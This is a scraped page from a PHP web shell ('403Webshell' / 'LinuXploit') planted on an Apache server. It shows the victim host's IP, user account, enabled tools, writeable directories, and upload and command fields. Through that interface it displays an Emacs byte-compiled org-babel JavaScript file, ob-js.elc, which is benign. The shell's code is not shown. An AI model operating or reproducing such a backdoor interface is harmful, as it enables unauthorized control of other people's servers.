403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.76
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/org/ob-js.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(require 'ob)
#@46 Default header arguments for js code blocks.
(defvar org-babel-default-header-args:js nil (#$ . 98))
#@51 String to indicate that evaluation has completed.
(defvar org-babel-js-eoe "org-babel-js-eoe" (#$ . 205))
(byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313\314\315&\207" [custom-declare-variable org-babel-js-cmd funcall function #[0 "\300\207" ["node"] 1 ""] "Name of command used to evaluate js blocks." :group org-babel :version "24.1" :type (choice (const "node") (const "mozrepl") (const "skewer-mode") (const "indium") (const "js-comint")) :safe stringp] 12)
#@41 Javascript code to print value of body.
(defvar org-babel-js-function-wrapper "require('process').stdout.write(require('util').inspect(function(){%s}()));" (#$ . 689))
#@128 Execute a block of Javascript code with org-babel.
This function is called by `org-babel-execute-src-block'.

(fn BODY PARAMS)
(defalias 'org-babel-execute:js #[514 "\306\236A\206\307\236A\310\236A\311\312!#\313\230\203]\314\315!\316\317\320\"\321\322\"\216r\211q\210\323\230\203<\324	\"\202=c\210)r\211q\210\325\326\211\326\327%\210*\210\330\324\331\332!#\333\"\262\2022\334\230\203w\335\336!\210\337!\204q\340!\210\341!\2022\342\307\236A\"\343!\204\211\344\345\"\210\346 \321\347\"\216rq\210\212\350\333C\321\351\"B\326\352\353p!!b\210`d{\262|\266\324\354\f\"D\211\203\322\211@\355!c\210\356\326\320\"\210A\266\202\202\273\210
b\210\212\357\360\324\354\f\"!\326\320#\205\352\357@\326\320#)\204\367\361\353p!!\210\202\323\352\353p!!b\210\211c\210\203\"\362\363\364\365\360
\206\333!#\242\"\203\"\211\242\327\225\326O\240\210\366\242@\")\266\202,\262A@\262\367\236A\313\235?\205\216\370\235\204\205\371\235\204\205\372\235\204\205\373\235\204\205\374\235\204\205\375\235\204\205\376\235\204}\377\235\204}\201A\235\204}\201B\235\203\211\201C\235\204\211\202\216\201D!\262)\207" [org-babel-js-cmd org-babel-js-function-wrapper comint-input-filter comint-output-filter-functions org-babel-js-eoe comint-last-input-end :cmd :session :result-type org-babel-expand-body:generic org-babel-variable-assignments:js "none" org-babel-temp-file "js-script-" generate-new-buffer " *temp file*" t make-closure #[0 "\301\300!\205	\302\300!\207" [V0 buffer-name kill-buffer] 2] "value" format write-region nil 0 org-babel-eval "%s %s" org-babel-process-file-name "" "*JS REPL*" require indium-repl get-buffer indium-run-node indium-eval org-babel-prep-session:js org-babel-comint-buffer-livep error "Buffer %s does not exist or has no process" match-data #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] #[257 "\300\207" [nil] 2 "\n\n(fn INPUT)"] #[257 "\300\211\242P\240\207" [V0] 4 "\n\n(fn TEXT)"] process-mark get-buffer-process "%S" org-babel-chomp comint-send-input re-search-forward regexp-quote accept-process-output string-match replace-regexp-in-string "\n" "[
\n]+" split-string :result-params "scalar" "verbatim" "html" "code" "pp" "file" "output" "raw" comint-prompt-regexp "org" "drawer" "table" org-babel-js-read] 15 (#$ . 864)])
#@180 Convert RESULTS into an appropriate elisp value.
If RESULTS look like a table, then convert them into an
Emacs-lisp table, otherwise return the results as a string.

(fn RESULTS)
(defalias 'org-babel-js-read #[257 "\300;\203-\301\302\"\203-\303\304\"\203-\300\305\306\307\310\306\311\312\306\313\314\306\305\315####P!\202.!\207" [org-babel-read string-prefix-p "[" string-suffix-p "]" "'" replace-regexp-in-string "\\[" "(" "\\]" ")" ",[[:space:]]" " " "\""] 17 (#$ . 3215)])
#@139 Convert VAR into a js variable.
Convert an elisp value into a string of js source code
specifying a variable of the same value.

(fn VAR)
(defalias 'org-babel-js-var-to-js #[257 "\211<\203\300\301\302\303#\304Q\207\305\306\307\310\311\"#\207" ["[" mapconcat org-babel-js-var-to-js ", " "]" replace-regexp-in-string "\n" "\\\\n" format "%S"] 7 (#$ . 3708)])
#@93 Prepare SESSION according to the header arguments specified in PARAMS.

(fn SESSION PARAMS)
(defalias 'org-babel-prep-session:js #[514 "\301!\302!\203J\303!\204\304\305\"\210\306 \307\310\"\216rq\210\212\311db\210\211\203G\211@\211c\210\312\313\314\"\210\315!\210\316\317!\210db\210A\266\202\202'\210,\210\207" [comint-input-filter org-babel-js-initiate-session org-babel-variable-assignments:js org-babel-comint-buffer-livep error "Buffer %s does not exist or has no process" match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] #[257 "\300\207" [nil] 2 "\n\n(fn INPUT)"] comint-send-input nil t org-babel-comint-wait-for-output sit-for 0.1] 10 (#$ . 4075)])
#@84 Return list of Javascript statements assigning the block's variables.

(fn PARAMS)
(defalias 'org-babel-variable-assignments:js #[257 "\300\301\302!\"\207" [mapcar #[257 "\300\301@\302A!#\207" [format "var %s=%s;" org-babel-js-var-to-js] 6 "\n\n(fn PAIR)"] org-babel--get-vars] 5 (#$ . 4787)])
#@140 If there is not a current inferior-process-buffer in `SESSION' then create.
Return the initialized session.

(fn &optional SESSION PARAMS)
(defalias 'org-babel-js-initiate-session #[512 "\301\230\203\n\302\303!\207\304\230\2034\305\306!\210\307\304!\211\203*\310\307!!\203*\311!\203*\207\312 \210\313 \210\306 \210\207\314\230\203X\305\315!\210\310\307\314!!\203N\311\314!\203N\314\207\316\317!\210\320\321!\210\314\207\322\230\203\210\305\323!\210\324 \325\326\"\216\327\330!\210\331!\210p)\262\310!\203\200\320\332!\210\207\320\321!\210\333!\207\334\230\203\222\335\336!\207\335\337!\207" [org-babel-js-cmd "none" warn "Session evaluation of ob-js is not supported" "*skewer-repl*" require skewer-repl get-buffer org-babel-comint-buffer-livep comint-check-proc httpd-start run-skewer "*Javascript REPL*" js-comint call-interactively run-js sit-for 0.5 "mozrepl" moz current-window-configuration make-closure #[0 "\301\300!\207" [V0 set-window-configuration] 2] run-mozilla nil rename-buffer 0.25 org-babel-js-initiate-session "node" error "Session evaluation with node.js is not supported" "Sessions are only supported with mozrepl add \":cmd mozrepl\""] 6 (#$ . 5091)])
(provide 'ob-js)

Youez - 2016 - github.com/yon3zu
LinuXploit